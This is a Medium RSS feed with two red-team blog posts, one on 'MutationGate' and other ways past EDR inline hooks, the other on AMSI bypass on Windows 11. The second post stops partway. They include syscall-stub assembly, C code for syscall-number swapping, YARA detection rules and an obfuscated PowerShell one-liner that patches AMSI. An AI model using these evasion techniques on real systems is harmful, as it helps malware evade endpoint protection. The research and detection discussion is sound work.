<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Gustav Shen on Medium]]></title>
        <description><![CDATA[Stories by Gustav Shen on Medium]]></description>
        <link>https://medium.com/@gustavshen?source=rss-39cded15042e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*QVBOkkcMPzE3HYxh1TH2Sg.jpeg</url>
            <title>Stories by Gustav Shen on Medium</title>
            <link>https://medium.com/@gustavshen?source=rss-39cded15042e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 16:06:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gustavshen/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[MutationGate]]></title>
            <link>https://gustavshen.medium.com/mutationgate-6e38700da492?source=rss-39cded15042e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e38700da492</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Gustav Shen]]></dc:creator>
            <pubDate>Thu, 29 Feb 2024 15:37:40 GMT</pubDate>
            <atom:updated>2024-02-29T15:37:40.987Z</atom:updated>
            <content:encoded><![CDATA[<h3>Background</h3><h4>Motivation</h4><p>Considering inline hook is a major detection utilized by EDR products, bypassing them is an interesting topic to me. Regarding bypassing inline hook placed by EDR, there are already quite a few approaches available. Although some of the earlier approaches have decent detection rules, there are also a few mature approaches in existence. Nonetheless, I think it would be very fun to discover a new approach to bypass hook, hopefully, it can bring some improvements or advantages.</p><h4>Inline Hook</h4><p>EDR products like placing inline hooks at NTAPIs that are usually leveraged in malware, like <strong>NtAllocateVirtualMemory</strong>, <strong>NtUnmapViewOfSection</strong>, <strong>NtWriteVirtualMemory</strong>, etc. Because an NTAPI is a bridge between user space and kernel space.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/0*3jf8RtYusEbMZqWQ.png" /></figure><p>For instance, <strong>NtAllocateVirtualMemory </strong>is the NTAPI version of <strong>VirtualAlloc</strong>. By placing an unconditional jump instruction at the NTAPI, no matter whether the program calls Win32 API or NTAPI, the EDR is able to inspect the call and infer the intention further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GzxNMjktRkGsmA67.png" /></figure><p>The following screenshots show what a hooked NTAPI looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mDlMiGK3BEprxyIa.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Tz2ZbIrccJhbRfY2.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NZhrXfKEv0iQbc6z.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YYvFVzi2KI9kluoK.png" /></figure><p>And if an NTAPI is not hooked, we can notice a very consistent pattern, which is how a syscall stub looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*K30_7h--UVH7V-t3.png" /></figure><p>While EDR has multiple layers of detection, inline hook is a major one.</p><h4>Hardware Breakpoint</h4><p>In my article Bypass Amsi On Windows 11(<a href="https://medium.com/@gustavshen/bypass-amsi-on-windows-11-75d231b2cac6">https://medium.com/@gustavshen/bypass-amsi-on-windows-11-75d231b2cac6</a>), I discovered that as long as <strong>R8</strong> is <strong>0 </strong>when calling <strong>AmsiScanBuffer</strong>, AMSI can be bypassed. However, I said it was not easy to utilize this bypass without WinDBG.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/0*XITCokr0kqZzSuAl.png" /></figure><p>Actually, it is possible, by utilizing hardware breakpoint. This article(<a href="https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/">https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/</a>) explains how to use hardware breakpoint to achieve patchless AMSI bypass. It works by setting RAX as 0, modifying AMSI scan result argument, and setting RIP as the return address when the execution is transferred to the AmsiScanBuffer function. So in our case, we just need to set R8 as 0.</p><p>I will not cover much background knowledge about hardware breakpoint and VEH here, as you can refer to the article, and the general idea is more important.</p><h3>Some of the Existing Approaches</h3><p>The following approaches can be used to bypass inline hook, however, each also has its IOCs. Considering there are already a lot of articles talking about them in detail, so let’s briefly go through some of the approaches that can bypass inline hook.</p><h4>Direct Syscall</h4><p>Each Nt version of Win32 API, such as NtAllocateVirtualMemory only requires 4 instructions to work, the set of instructions is called syscall stub. The only difference between various NTAPI is the value of their syscall number.</p><pre>mov r10, rcx<br>mov rax, [SSN]<br>syscall<br>ret</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/0*TxCMXfX3DSlxFfbn.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/0*ZVk2TnwPudnWS0P3.png" /></figure><p>In a .asm file, define the syscall stub for NtAllocateVirtualMemory</p><pre>.code<br><br>&lt;…Other Stubs…&gt;<br><br>NtAllocateVirtualMemory PROC<br>  mov r10, rcx<br>  mov eax, 18h<br>  syscall<br>  ret<br>NtAllocateVirtualMemory ENDP<br><br>&lt;…Other Stubs…&gt;<br><br>end</pre><p>Inside a header or c/cpp file, use <strong>EXTERN_C</strong> macro to link the function definition with the syscall stub assembly code, the name should be consistent.</p><pre>EXTERN_C NTSTATUS NtAllocateVirtualMemory(<br>  IN HANDLE ProcessHandle,<br>  IN OUT PVOID * BaseAddress,<br>  IN ULONG ZeroBits,<br>  IN OUT PSIZE_T RegionSize,<br>  IN ULONG AllocationType,<br>  IN ULONG Protect);</pre><p>In this way, we can directly initiate the syscall by calling the define function. However, this approach has suspicious IOCs:</p><p>Hardcoded syscall stub could be detected, the pattern is <strong>4c8bd1 c7c0&lt;DWORD&gt; 0f05c3</strong>. A possible Yara rule to detect direct syscall is as follows:</p><pre>rule direct_syscall<br>{<br>  meta:<br>    description = &quot;Hunt for direct syscall&quot;<br>  strings:<br>    $s1 = {4c 8b d1 48 c7 c0 ?? ?? ?? ?? 0f 05 c3}<br>    $s2 = {4C 8b d1 b8 ?? ?? ?? ?? 0F 05 C3}<br>  condition:<br>    #s1 &gt;=1 or #s2 &gt;=1<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TuUbqBtWw6d-g2jD.png" /></figure><p>Though it is trivial to bypass the pattern by inserting some NOP-like instructions.</p><p>This approach has a downside, we hardcode the syscall number in the source code. It does not work well when the target organization has multiple versions of operating system, because SSNs vary on different OS versions.</p><p>Syswhisper suite resolves this issue: Syswhisper 1 detects the host’s OS version and selects the correct SSN. Syswhisper 2 dynamically retrieves the SSN in run-time. Anyway, direct syscall is used by these approaches.</p><p>Without custom modification to Syswhisper2’s syscall stub, a possible Yara rule to detect is as follows:</p><pre>rule syswhisper2<br>{<br>  meta:<br>    description = &quot;Hunt for syswhisper2 generated asm code&quot;<br>  strings:<br>    $s1 = {58 48 89 4C 24 08 48 89 54 24 10 4C 89 44 24 18 4C 89 4C 24 20 48 83 EC 28 8B 0D B1 3C 00 00 E8 ?? ?? ?? ?? 48 83 C4 28 48 8B 4C 24 08 48 8B 54 24 10 4C 8B 44 24 18 4C 8B 4C 24 20 4C 8B D1 0F 05 C3}<br>  condition:<br>    #s1 &gt;=1<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nfVT0i1F9GMeKLNx.png" /></figure><p>Apart from the byte sequences pattern of a syscall stub, executing syscall instruction is abnormal in a legitimate program, i.e. the syscall should be initiated inside ntdll.dll’s memory region. For instance, when calling Win32 API <strong>SleepEx </strong>in a C program, we can notice the call stack as follows: <strong>sleep!main -&gt; kernelbase!SleepEx -&gt; ntdll!NtDelayExecution -&gt;ntoskrnl!KeDelayExecutionThread</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/0*iuGlrq4zjVrLLNeZ.png" /></figure><p>However, if we initiate the syscall directly, the call stack is as follows: <strong>sleep!main -&gt; sleep!NtDelayExecution -&gt;ntoskrnl!KeDelayExecutionThread</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*Sb5q8a-Lgr-MaVFq.png" /></figure><p>It is easy to find out that the syscall instruction is initiated in the program instead of the ntdll module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/0*NOW07L4STDokXjQ6.png" /></figure><h4>Indirect Syscall</h4><p>We discussed the downside of direct syscall, so we want to avoid executing syscall directly, indirect syscall is an improvement. The syscall stub’s pattern is very similar to the one in direct syscall, however, instead of directly executing the syscall instruction, indirect syscall stub uses an <strong>unconditional jump</strong> to transfer the execution to the address of a syscall instruction.</p><pre>NtAllocateVirtualMemory PROC<br>  mov r10, rcx<br>  mov eax, (ssn of NtAllocateVirtualMemory)<br>  jmp (address of a syscall instruction)<br>  ret<br>NtAllocateVirtualMemory ENDP</pre><p>Of course, we need to fetch a valid address for a syscall instruction. Assuming an NTAPI is unhooked, we can get the syscall number at the offset of <strong>0x4</strong> of the function, and the instruction of syscall is at <strong>0x12</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*pkeH-BJYQuorZjYp.png" /></figure><p>However, this brings us to the “chicken or the egg” problem. If an NTAPI is hooked, then its syscall stub will not match the syscall stub pattern, and naturally, we cannot successfully extract the SSN and the address of the syscall instruction. Fortunately, considering that syscall is a special type of call instruction that does not directly specify the address to jump to but rather determines the transferred address in kernel space based on the SSN, all we need to do is specify the correct SSN and corresponding function arguments.</p><p>Therefore, we do not have to get the address of the syscall instruction in NtAllocateVirtualMemory function. We can select an unhooked NTAPI, the one that is not typically leveraged in malware, such as NtDrawText.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/0*iJCc1vLcDi7KFZAt.png" /></figure><p>Though indirect syscall improved evasion, security products could still detect them based on some IOCs:</p><p>If using Syswhisper3 without custom modification, though fewer hardcoded bytes of the syscall stub, it is still possible to find a byte sequence pattern:<strong> 4c8bd1 41ff&lt;DWORD&gt; c3</strong></p><p>A possible Yara rule to detect is as follows:</p><pre>rule syswhisper3<br>{<br>   meta:<br>     description = &quot;Hunt for syswhispe3 generated asm code&quot;<br>   strings:<br>     $s1 = {48 89 4c 24 08 48 89 54 24 10 4c 89 44 24 18 4c 89 4c 24 20 48 83 ec 28 b9 ?? ?? ?? ?? e8}<br>     $s2 = {48 83 c4 28 48 8b 4c 24 08 48 8b 54 24 10 4c 8b 44 24 18 4c 8b 4c 24 20 4c 8b d1}<br>   condition:<br>     #s1 &gt;=1 or #s2 &gt;=1 <br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*miVF7_zVeh8uh9kv.png" /></figure><p>Besides, though the call stack looks more legitimate, a detection rule can rely on the fact that the return address resides in <strong>NtDrawText</strong> function, while the executed syscall is <strong>ntoskrnl!NtAllocateVirtualMemory</strong>.</p><h4>Overwrite the text section of loaded NTDLL</h4><p>EDR hooks some NTAPI by overwriting the codes, the changes happen in the <strong>.text</strong> section of the ntdll module. Therefore, to recover hooked functions, we can overwrite the .text section of loaded ntdll.</p><p>To achieve it, there are multiple steps:</p><ol><li>Read a fresh copy of ntdll. We can read it from disk, over the Internet, from KnownDLL directory, etc.</li><li>Change the page permission from <strong>RX </strong>to <strong>RWX</strong>, as the .text section is not writable by default, though we can also use WriteProcessMemory or its NTAPI to overwrite hooked code.</li><li>Copy the .text section from the fresh copy to the loaded module’s</li><li>Revert the page permission.</li></ol><p>However, there are some IOCs regarding this approach:</p><ol><li>EDR could find that the hook is tamped by checking the integrity of the loaded NTDLL module.</li><li>We use hooked functions to perform the above actions, which could trigger alerts.</li><li>A memory region that has RWX permission is a serious red flag.</li></ol><h4>Overwrite hooked functions</h4><p>Instead of overwriting the whole .text section, we can choose to overwrite needed functions, just like patching AmsiScanBuffer. While less modification to the loaded ntdll module, IOCs of overwriting the text section of NTDLL still apply to this approach.</p><p>There are still some other approaches to bypass inline hook, but I will not go through all of them, this article(<a href="https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/">https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/</a>) did a great job in explaining common approaches.</p><h3>MutationGate</h3><p>MutationGate is a variant of indirect syscall, it is a new approach to bypass EDR’s inline hook by utilizing hardware breakpoint to redirect the syscall. MutationGate works by calling an unhooked NTAPI and replacing the unhooked NTAPI’s SSN with hooked NTAPI’s. In this way, the syscall is redirected to the hooked NTAPI’s, and the inline hook can be bypassed without loading the 2nd ntdll module or modifying bytes within the loaded ntdll’s memory space. The GitHub repository is <a href="https://github.com/senzee1984/MutationGate">https://github.com/senzee1984/MutationGate</a></p><p>As we discussed before, EDR tends to set inline hooks for various NTAPI, especially those that are usually leveraged in malware, such as NtAllocVirtualMemory. While other NTAPI that are not usually leveraged in malware tend not to have inline hooks, such as NtDrawText. It is very unlikely that an EDR set inline hook for all NTAPI.</p><p>Assume NTAPI NtDrawText is not hooked, while NTAPI NtQueryInformationProcess is hooked, the steps are as follows:</p><p>1. Get the address of <strong>NtDrawText</strong>. It can be achieved by utilizing <strong>GetModuleHandle </strong>and <strong>GetProcAddress</strong> combination, or a custom implementation of them via PEB walking.</p><pre>pNTDT = GetFuncByHash(ntdll, 0xA1920265); //NtDrawText hash<br>pNTDTOffset_8 = (PVOID)((BYTE*)pNTDT + 0x8); //Offset 0x8 from NtDrawText</pre><p>2. Prepare arguments for NtQueryInformationProcess</p><p>3. Set a hardware breakpoint at <strong>NtDrawText+0x8</strong>, when the execution reaches this address, the SSN of NtDrawText is saved in RAX, but the syscall is not initiated yet.</p><pre>0:000&gt; u 0x00007FFBAD00EB68-8<br>ntdll!NtDrawText:<br>00007ffb`ad00eb60 4c8bd1          mov     r10,rcx<br>00007ffb`ad00eb63 b8dd000000      mov     eax,0DDh<br>00007ffb`ad00eb68 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1<br>00007ffb`ad00eb70 7503            jne     ntdll!NtDrawText+0x15 (00007ffb`ad00eb75)<br>00007ffb`ad00eb72 0f05            syscall<br>00007ffb`ad00eb74 c3              ret<br>00007ffb`ad00eb75 cd2e            int     2Eh<br>00007ffb`ad00eb77 c3              ret</pre><p>4. Retrieve the SSN of <strong>NtQueryInformationProcess</strong>. Inside the exception handler, update <strong>RAX </strong>with NtQueryInformationProcess’ SSN. I.e., the original SSN was replaced.</p><pre>...&lt;SNIP&gt;...<br>uint32_t GetSSNByHash(PVOID pe, uint32_t Hash) <br>{<br> PBYTE pBase = (PBYTE)pe;<br> PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;<br> PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr-&gt;e_lfanew);<br> IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs-&gt;OptionalHeader;<br> DWORD exportdirectory_foa = RvaToFileOffset(pImgNtHdrs, ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);<br> PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + exportdirectory_foa); //Calculate corresponding offset<br> PDWORD FunctionNameArray = (PDWORD)(pBase + RvaToFileOffset(pImgNtHdrs, pImgExportDir-&gt;AddressOfNames));<br> PDWORD FunctionAddressArray = (PDWORD)(pBase + RvaToFileOffset(pImgNtHdrs, pImgExportDir-&gt;AddressOfFunctions));<br> PWORD  FunctionOrdinalArray = (PWORD)(pBase + RvaToFileOffset(pImgNtHdrs, pImgExportDir-&gt;AddressOfNameOrdinals));<br><br> for (DWORD i = 0; i &lt; pImgExportDir-&gt;NumberOfFunctions; i++)<br> {<br>  CHAR* pFunctionName = (CHAR*)(pBase + RvaToFileOffset(pImgNtHdrs, FunctionNameArray[i]));<br>  DWORD Function_RVA = FunctionAddressArray[FunctionOrdinalArray[i]];<br>  if (Hash == ROR13Hash(pFunctionName))<br>  {<br>   void *ptr = malloc(10);<br>   if (ptr == NULL) {<br>    perror(&quot;malloc failed&quot;);<br>    return -1;<br>   }<br>   unsigned char byteAtOffset5 = *((unsigned char*)(pBase + RvaToFileOffset(pImgNtHdrs, Function_RVA)) + 4);<br>   //printf(&quot;Syscall number of function %s is: 0x%x\n&quot;, pFunctionName,byteAtOffset5); //0x18<br>   free(ptr);<br>   return byteAtOffset5;<br>  }<br> }<br> return 0x0;<br>}<br>...&lt;SNIP&gt;...</pre><p>5. Since we called NtDrawText but with NtQueryInformationProcess’ arguments, the call should be failed. However, since we changed the SSN, the syscall is successful.</p><pre>fnNtQueryInformationProcess pNTQIP = (fnNtQueryInformationProcess)pNTDT;<br>  NTSTATUS status = pNTQIP(pi.hProcess, ProcessBasicInformation, &amp;pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);</pre><p>In this example, NtDrawtext’s SSN is 0xdd, NtQueryInformationProcess’ SSN is 0x19, the address of NtDrawText is 0x00007FFBAD00EB60</p><p>The call is made to NtDrawText’s address but with NtQueryInformationProcess arguments. Since the SSN is changed from 0xdd to 0x19, the syscall is successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0xx7g_yfnQPxyZIS.png" /></figure><p>Let’s modify the code and play with NtDelayExecution again, considering it is easier for us to observe the call stack. As expected, these Yara rules we used before cannot detect any byte sequence pattern.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4fj_sNSFXe-5a9iI.png" /></figure><p>Inspect the call stack, the syscall is initiated from the ntdll memory space, it looks legitimate regarding this aspect. However, <strong>KeDelayExecutionThread</strong> expects <strong>NtDelayExecution </strong>as the corresponding NTAPI, not NtDrawText. This clue could be used as a detection rule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/0*tR6sWnR_oWV6awmG.png" /></figure><h4>Advantages and Detection</h4><p>MutationGate has its advantages, while it is possible to detect it. If you can think of any other advantages and detections, please let me know : )</p><p><strong>Advantages</strong></p><ol><li>Do not load the 2nd ntdll module</li><li>No modification to the loaded ntdll module</li><li>No custom syscall stub and byte sequence pattern</li><li>syscall is initiated in the ntdll module, which looks legitimate</li></ol><p><strong>Possible Detections</strong></p><ol><li>The <strong>AddVectoredExceptionHandler</strong> call could look suspicious in a normal program</li><li>The function in ntoskrnl.exe is not consistent with the one in the ntdll module</li><li>Initiated syscall in a benign NTAPI does not expect a different NTAPI’s SSN</li></ol><h4>Comparison with Other Similar Approaches</h4><p><strong>HWSyscall</strong>(<a href="https://github.com/Dec0ne/HWSyscalls">https://github.com/Dec0ne/HWSyscalls</a>) and <strong>TamperingSyscall</strong>(<a href="https://github.com/rad9800/TamperingSyscalls">https://github.com/rad9800/TamperingSyscalls</a>) both ingeniously utilize hardware breakpoints to bypass inline hooks, and they are both excellent approaches. Even though I had not read and referenced these 2 projects during the period when I was inspired by and released MutationGate (after I released MutationGate, a friend sent me the links to these 2 projects), there indeed are some similar techniques or general ideas. I have carefully read and researched them, and I have summarized and compared them in a table format, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CAZnNEBJv48ebjAuhlktqg.png" /></figure><h3>Credits and References</h3><p>During the period after I was inspired, implemented, and released MutationGate, the following resources were very helpful to me, and I am thankful to the authors.</p><p><a href="https://github.com/senzee1984/MutationGate">https://github.com/senzee1984/MutationGate</a></p><p><a href="https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/">https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/</a></p><p><a href="https://github.com/jthuraisamy/SysWhispers2">https://github.com/jthuraisamy/SysWhispers2</a></p><p><a href="https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/">https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/</a></p><p><a href="https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/">https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/</a></p><p><a href="https://thewover.github.io/Dynamic-Invoke/">https://thewover.github.io/Dynamic-Invoke/</a></p><p><a href="https://cyberwarfare.live/bypassing-av-edr-hooks-via-vectored-syscall-poc/">https://cyberwarfare.live/bypassing-av-edr-hooks-via-vectored-syscall-poc/</a></p><p><a href="https://redops.at/en/blog/syscalls-via-vectored-exception-handling">https://redops.at/en/blog/syscalls-via-vectored-exception-handling</a></p><p><a href="https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf">https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf</a></p><p><a href="https://malwaretech.com/2023/12/silly-edr-bypasses-and-where-to-find-them.html">https://malwaretech.com/2023/12/silly-edr-bypasses-and-where-to-find-them.html</a></p><p><a href="https://github.com/Dec0ne/HWSyscalls">https://github.com/Dec0ne/HWSyscalls</a></p><p><a href="https://github.com/rad9800/TamperingSyscalls">https://github.com/rad9800/TamperingSyscalls</a></p><p><a href="https://github.com/RedTeamOperations/VEH-PoC">https://github.com/RedTeamOperations/VEH-PoC</a></p><p>Maldev Course</p><p>ZeroPoint Security RTO II Course</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e38700da492" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypass AMSI on Windows 11]]></title>
            <link>https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6?source=rss-39cded15042e------2</link>
            <guid isPermaLink="false">https://medium.com/p/75d231b2cac6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Gustav Shen]]></dc:creator>
            <pubDate>Thu, 27 Jul 2023 02:16:54 GMT</pubDate>
            <atom:updated>2023-07-27T02:16:54.268Z</atom:updated>
            <content:encoded><![CDATA[<h3>Motivation</h3><p>In this article, I want to break down AMSI (Anti-Malware Scan Interface) and its bypass technique on Windows 11. AMSI bypass is not a new topic, and compared with bypassing EDR, AMSI bypass is much easier, but I found that one bypass approach taught in OSEP does not work on Windows 11. It interests me, as I want to know what has changed under the hood on Windows 11.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5P_PNHqYmPYGuhMk.png" /></figure><p>As I am learning OSED, I also want to apply the reverse engineering skill I learned to do some personal research. Okay, let’s start.</p><h3>Background</h3><p>On Windows hosts, we can get a shell or C2 session by executing an exe file. Additionally, we can achieve the same goal with some script languages, such as using <strong>PowerShell IEX </strong>download cradle to run the script in memory without leaving files on the disk. Compared to detecting payloads on the disk, it is harder for traditional anti-virus products to detect such delivery, while AMSI provides a scanning interface to capture various script languages such as <strong>PowerShell</strong>, <strong>JScript</strong>, <strong>VBA</strong>, or <strong>C# code </strong>at run time to address the gap.</p><p>Amsi stands for “<strong>Anti-malware Scan Interface</strong>“; it targets malicious <strong>script-based malware</strong>. The following figure illustrates the process of how AMSI works in high level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/0*cV89qZMVc1nrX6MU.png" /></figure><p><strong>amsi.dll</strong> is loaded to each <strong>powershell.exe</strong> process, providing export functions such as <strong>AmsiInitialize</strong>, <strong>AmsiOpenSession,</strong> <strong>AmsiScanbuffer</strong>, etc. The content of the script is passed into <strong>AmsiScanBuffer</strong> as an argument. Before the execution, the script will be determined if it is malicious.</p><p>Use WinDBG to run powershell.exe; when the process is attached, we can see now amsi.dll is not loaded already.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/0*9_HXIzK2ZbVyQRzi.png" /></figure><p>Set unresolved breakpoints for <strong>AmsiInitialize</strong>, <strong>AmsiOpenSession</strong>, and <strong>AmsiScanBuffer,</strong> continue the execution. Immediately, we hit the breakpoint at the entry of function AmsiInitialize. Now amsi.dll is loaded, and the function AmsiInitialize is called.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/0*wxs9luiAkSIne5nz.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WtW3XzIaqT6TpVcG.png" /></figure><p>At this time, we have not executed any script, and the powershell banner is not even loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/0*gdrOZezkU7pw3ifM.png" /></figure><p>Continue the execution, we hit breakpoints at the entry of functions <strong>AmsiOpenSession </strong>and <strong>AmsiScanBuffer, </strong>respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/0*AzR0xp_sVnqTTCpy.png" /></figure><p>Now, the banner is loaded, and we can supply the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zslt0tsd2GjCs2QC.png" /></figure><p>In summary, though the process of loading AMSI may involve more steps and be more complex, we know AmsiInitialize is called first, then AmsiOpenSession, and AmsiScanBuffer.</p><p>Let’s supply malicious content “<strong>invoke-mimikatz”</strong>, and inspect the calling of these functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IkCvULhtK5YV7Ij2.png" /></figure><p>When inspecting script content, AmsiInitialize is not called, but AmsiOpenSession and AmsiScanBuffer are still called in order. The calling order is not surprising, as the function names are self-explanatory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aDJQ9WmQDqOUPFZC.png" /></figure><p>Finally, the script content is regarded as malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rZJNV64TPPAzZ1Zc.png" /></figure><p>To understand the process better, let’s inspect these functions.</p><p>Function AmsiInitialize has <strong>2</strong> arguments, after the execution, the argument <strong>amsiContext</strong> will be initialized. It is a handle of type <strong>HAMSICONTEXT</strong> that will be passed to all subsequent calls to the AMSI API.</p><pre>HRESULT AmsiInitialize(<br>[in] LPCWSTR appName,<br>[out] HAMSICONTEXT *amsiContext<br>);</pre><p>Function AmsiOpenSession has 2 arguments, either. The 1st argument is amsiContext, which is initialized from the function AmsiInitialize. After the execution, <strong>amsiSession </strong>will be initialized. It is a handle of type <strong>HAMSISESSION </strong>that will be passed to all subsequent calls to the AMSI API within the session.</p><pre>HRESULT AmsiOpenSession(<br>[in] HAMSICONTEXT amsiContext,<br>[out] HAMSISESSION *amsiSession<br>);</pre><p>Function AmsiScanBuffer has 6 arguments, including previously initialized amsiContext and amsiSession. Other arguments include the script content, the length of the content, the content ID, and the scan result. The value of argument result will be set after the execution.</p><pre>HRESULT AmsiScanBuffer(<br>[in] HAMSICONTEXT amsiContext,<br>[in] PVOID buffer,<br>[in] ULONG length,<br>[in] LPCWSTR contentName,<br>[in, optional] HAMSISESSION amsiSession,<br>[out] AMSI_RESULT *result<br>);</pre><p>According to the result value, scanned script could be considered malicious or clean. <strong>AMSI_RESULT_CLEAN </strong>is <strong>1</strong>, <strong>AMSI_RESULT_DETECTED </strong>is <strong>32767.</strong></p><pre>typedef enum AMSI_RESULT {<br>AMSI_RESULT_CLEAN,<br>AMSI_RESULT_NOT_DETECTED,<br>AMSI_RESULT_BLOCKED_BY_ADMIN_START,<br>AMSI_RESULT_BLOCKED_BY_ADMIN_END,<br>AMSI_RESULT_DETECTED<br>} ;</pre><p>Armed with background knowledge, let’s discuss how to bypass AMSI by attacking these functions.</p><h3>Attack AmsiOpenSession</h3><p>In OSEP, the bypass method is to patch the first <strong>DWORD</strong> pointed by amsiContext. The following screenshot is the graph view of AmsiOpenSession on <strong>Windows Server 2019</strong>. As we can see, the first DWORD is compared to “<strong>AMSI</strong>“.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/0*zYCI0v1wQkrbhM2Y.png" /></figure><p>As long as the first DWORD is not equal to “AMSI”, the execution will jump to the following code block:</p><pre>loc_18000250B:<br>mov eax, 80070057h<br>retn<br>AmsiOpenSession endp</pre><p>EAX is set as <strong>0x80070057</strong>, which is <strong>E_INVALIDARG</strong> error. The execution of AmsiOpenSession is unsuccessful, and so will all subsequent calls to the AMSI API.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*Zna9zB_GzPK8VnombAsvEg.png" /></figure><p>However, on Windows 11, the first DWORD is not checked anymore. Fortunately, there are still multiple ways to land that code block. The <strong>RDX</strong>, <strong>RCX</strong>, the <strong>2nd QWORD</strong>, and the <strong>3rd QWORD </strong>are compared to <strong>0</strong> respectively. If <strong>any</strong> of them equals 0, AmsiOpenSession will exit with error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PjC8Ba52FdDoX6Sd.png" /></figure><p>The following one-liner payload leverages reflection, it can be used to patch the 1st DWORD to achieve AMSI bypass, now it does not work on Windows 11.</p><pre>$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)</pre><p>The one-liner payload is obfuscated to avoid signature-based detection, let’s break it 